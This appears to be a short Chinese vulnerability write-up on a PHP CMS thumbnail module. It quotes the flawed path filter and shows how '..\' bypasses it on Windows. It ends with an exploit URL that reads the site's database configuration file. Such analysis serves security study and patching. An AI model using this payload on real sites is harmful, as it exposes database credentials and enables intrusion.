0x01 代码分析
发现在app\system\include\module\old_thumb.class.php疑似有任意文件读取漏洞
public function doshow(){ global $_M; $dir = str_replace(array(\'../\',\'./\'), \'\', $_GET[\'dir\']); if(substr(str_replace($_M[\'url\'][\'site\'], \'\', $dir),0,4) == \'http\' && strpos($dir, \'./\') === false){ header("Content-type: image/jpeg"); ob_start(); readfile($dir); ob_flush(); flush(); die; }
页面建立old_thumb 类,并创建dbshow方法 2.程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。 3.看似过滤非常完美,但是依然能够绕过,windows下可以使用…\绕过
0x02 漏洞利用
http://192.168.5.172/include/thumb.php?dir=http\..\..\config\config_db.php